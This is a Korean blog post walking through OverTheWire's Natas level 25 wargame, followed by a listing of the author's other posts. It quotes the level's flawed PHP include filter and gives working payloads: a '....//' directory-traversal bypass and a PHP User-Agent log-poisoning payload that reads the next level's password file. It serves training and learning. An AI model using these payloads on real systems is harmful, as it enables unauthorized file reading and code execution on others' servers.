메뉴 건너뛰기

노루발의 개인 게시판

오랫만의 Natas 풀이입니다. 어려워져서 좀 늦었네요.


접속하면 en/de 메뉴가 있고, 각 언어로 작성된 파일들을 보여준다.

소스 코드를 보면 통채로 파일을 include 해오는 것을 볼 수 있다:


    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) {
            include($filename);
            return 1;
        }
        return 0;
    }


directory traversal을 통해 문제를 풀라는 출제자의 의도가 엿보인다.

언제나처럼 /etc/natas_webpass/natas26 파일에 password가 있을 것이고, 이것을 include 해서 화면에 뿌려주게 하면 가능할 것이다.

다만 ../ 문자열을 공백으로 필터링하고 있다. 이럴 경우에는 어떻게 directory traversal이 가능할까?


https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal

답은 ....// 문자열을 사용하는 것이다. ....// 문자열에서 ../를 공백으로 치환하면 ../ 문자열이 된다. 예로:

../../etc/natas_webpass/natas26 -> etc/natas_webpass/natas26

....//....//etc/natas_webpass/natas26 -> ....//....//etc/natas_webpass/natas26 -> ../../etc/natas_webpass/natas26


하지만 문제가 또 있다. natas_webpass 문자열이 포함된 경로를 include하면 에러를 뱉어 버린다.

그렇다면 어떻게 해야 할까?

우리가 include 해올 수 있는 파일은 /etc/natas_webpass/natas26 뿐만이 아니다. 다시 소스를 보자:


    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n";
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }


로그를 시간/user-agent/개발자가 출력하고자 하는 내용으로 세션 파일에 출력하는 것을 확인할 수 있다.

다만 user-agent는 따로 필터링하고 있지 않으므로 사용자가 user-agent 값을 수정한다면 원하는 내용을 입력할 수 있다.

단순히 파일 내용을 본문으로 뿌려주는 것이 아니라 include 해오고 있으므로 사용자가 원하는 임의의 PHP 코드를 실행시킬 수 있는 것이다:


다음 URL에 접속하여 logRequest 함수를 발생시키자:

http://natas25.natas.labs.overthewire.org/?lang=../

접속시 user-agent는 다음과 같이 변경한다:

<?php echo file_get_contents( "/etc/natas_webpass/natas26" ); ?>


이후 다음 URL을 사용해 쿠키에서 얻어낸 session id를 이용하여 로그 파일에 접근하면 natas26의 password를 알 수 있다.

http://natas25.natas.labs.overthewire.org/?lang=..././logs/natas25_kgn42d4sj3k7ucs431fj2ist74.log

분류 :
망한거
조회 수 :
48
등록일 :
2020.03.19
02:36:06 (*.47.15.250)
엮인글 :
게시글 주소 :
https://hondoom.com/zbxe/index.php?mid=noru&document_srl=818149
파일 첨부

여기에 파일을 끌어 놓거나 파일 첨부 버튼을 클릭하세요.

파일 크기 제한 : 0MB (허용 확장자 : *.*)

0개 첨부 됨 ( / )
옵션 :
:
:
List of Articles
번호 제목 글쓴이 조회 수 추천 수 날짜
56 기행 제 68회 유라시아 비즈니스 인사이트 다녀왔습니다. file 노루발 2   2025-06-26
한러비즈니스협의회에서 주관하는 유라시아 비즈니스 인사이트에 다녀왔습니다. 이번이 68회로, 저는 처음으로 참석하게 되었습니다. 감사하게도 참가비가 무료이며 간단한 석식(김밥)까지 협회측에서 지원해 주셨습니다. 세미나는 3가지의 섹션으로 이루어져...  
55 오토바이 노루발 오토바이 깔은 이야기 3일차~8일차 file 노루발 49   2023-10-12
3일차 병원에 다녀온 다음 회사에 갔습니다. 다친 뒤로는 부모님이 모셔다 주셔서 원숭이 손에 "편하게 출퇴근을 하고 싶어요" 하고 빌었더니 이루어진 느낌이 들었습니다. 그리고 역시 아프면 불효자라는 생각이 들었습니다. 그렇게 엄청 아프진 않았습니다. ...  
54 오토바이 노루발 오토바이 깔은 이야기 1일차+2일차 [2] file 노루발 98   2023-10-11
오토바이를 타면 무조건 중상을 입거나 죽는다는 편향적인 통념을 재생산하려는 의도나 스스로의 귀책으로 발생한 사고로 익명의 사람들에게서 관심이나 동정을 얻고자 하는 이유가 아닌 작성자가 일으킨 사고에 대해 기록하고 돌아보며 후일 본인이 동일한 잘...  
53 오토바이 노루발 2종 소형 면허 따는 이야기 [4] 노루발 35   2023-09-21
한 n년만 젊었으면 만화로 그렸을텐데 귀찮고 품이 많이 들어서 그냥 글로 씁니다. 여름이 끝나가고 날씨가 풀리니 슬슬 오토바이 생각이 다시 났습니다. 마음 먹으면(마음 먹기가 힘들어서 그렇지) 어디든(이륜차 출입금지인 도로는 제외하고) 갈 수 있다는 ...  
52 기타 Holo house의 미니멀한 농장겜 요소들 노루발 44   2023-08-31
Holocure! 라는 게임에 Holo house라는 요소가 추가되었다. 낚시나 농사 등의 생산활동을 하고 이것저것 할 수 있는 모드인데 쉽게 말해 미니멀한 농장게임이다. 해 보니 꽤 중독성이 있어서 간단하게 요소들을 분석해본다. 구조 재화 (골드) 자원 (작물, 물고...  
51 기타 부족전쟁 122 서버 아웃라인 secret 노루발 1   2021-07-25
비밀글입니다.  
50 오토바이 고속 찐빠 해결 / 윙카&포크부츠 교체 [2] file 노루발 368   2020-05-31
일전에 냉간시에 시동이 일발로 걸리지 않아 오토바이 센터에서 캬브레이터 조정을 받은 뒤로 고속(60km/h 이상)에서 스로틀을 끝까지 감으면 RPM이 떨어지는 현상이 발생했었습니다. 이게 뭣 때문인지... 인터넷에서 검색해보니까 캬브레타의 문제다... 공기...  
49 오토바이 오토바이 캬브레타 청소 [1] 노루발 370   2020-05-17
https://m.blog.naver.com/PostView.nhn?blogId=saver000&logNo=221561439234 https://m.cafe.daum.net/eoulsure/2yEb/56?q=D_NDw9YLyzaEM0& https://m.blog.naver.com/PostView.nhn?blogId=auprea&logNo=220731978275  
48 오토바이 NGK 점화플러그 품번에 따른 특성 [3] file 노루발 99   2020-05-07
 
» 망한거 (스포일러) Natas24 풀이 노루발 48   2020-03-19
오랫만의 Natas 풀이입니다. 어려워져서 좀 늦었네요. 접속하면 en/de 메뉴가 있고, 각 언어로 작성된 파일들을 보여준다. 소스 코드를 보면 통채로 파일을 include 해오는 것을 볼 수 있다: function safeinclude($filename){ // check for directory travers...  
46 망한거 (스포일러) Natas24 풀이 노루발 19   2020-03-17
이번에도 password를 입력해야 한다. 소스를 보자: if(array_key_exists("passwd",$_REQUEST)){ if(!strcmp($_REQUEST["passwd"],"<censored>")){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas25 Password: <censored...  
45 망한거 (스포일러) Natas23 풀이 노루발 16   2020-03-13
Password를 입력하면 Natas24의 password가 나오는 구조다: <?php if(array_key_exists("passwd",$_REQUEST)){ if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){ echo "<br>The credentials for the next level are:<br>"...  
44 망한거 (스포일러) Natas22 풀이 노루발 10   2020-03-13
이번 페이지에는 아무것도 없다. 소스를 보자: <? if(array_key_exists("revelio", $_GET)) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas23\n"; print "Password: <censored></pre>"; } ?> GET으로...  
43 망한거 (스포일러) Natas21 풀이 노루발 13   2020-03-13
이번에는 사이트가 2개이다: http://natas21.natas.labs.overthewire.org/ function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for ...  
42 망한거 (스포일러) Natas20 풀이 노루발 16   2020-03-13
이번에는 로그인 폼이 아니라 이름을 바꾸는 폼이 있다. 소스를 보자: session_set_save_handler( "myopen", "myclose", "myread", "mywrite", "mydestroy", "mygarbage"); session_start(); PHP의 기본 세션 핸들링 함수가 아니라 사용자가 정의한 함수로 동...  
41 망한거 (스포일러) Natas19 풀이 노루발 14   2020-03-13
This page uses mostly the same code as the previous level, but session IDs are no longer sequential... 세션 아이디가 숫자로 되어있지 않다는 뜻인가보다. 임의의 아이디로 로그인해서 세션 아이디가 어떻게 되어있나 보자: PHPSSID=3138362d ...? 일단...  
40 망한거 (스포일러) Natas18 풀이 노루발 9   2020-03-12
로그인창이 있고, admin 계정으로 로그인해야 한다. 소스를 보자: $showform = true; if(my_session_start()) { print_credentials(); $showform = false; } else { if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_RE...  
39 망한거 (스포일러) Natas17 풀이 노루발 16   2020-03-12
Natas15의 재탕이다. 소스를 보고 어떻게 꼬아놓았는지 알아보자: $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { //echo "This user exists.<br>"; } else { //echo "This user doesn't exist.<br>"; } } else { //echo "Err...  
38 망한거 (스포일러) Natas16 풀이 노루발 18   2020-03-12
Natas10의 재탕이다. 하지만 필터링을 좀 더 빡세게 한다: if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } } ;, | , " 등의 문자들도 ...  
37 망한거 (스포일러) Natas15 풀이 노루발 21   2020-03-11
이번에는 Username이 존재하는지 확인해주는 페이지다. 소스코드를 보자: 먼저 다음 테이블이 있다고 가정한다. /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ username과 password 값을 알아내...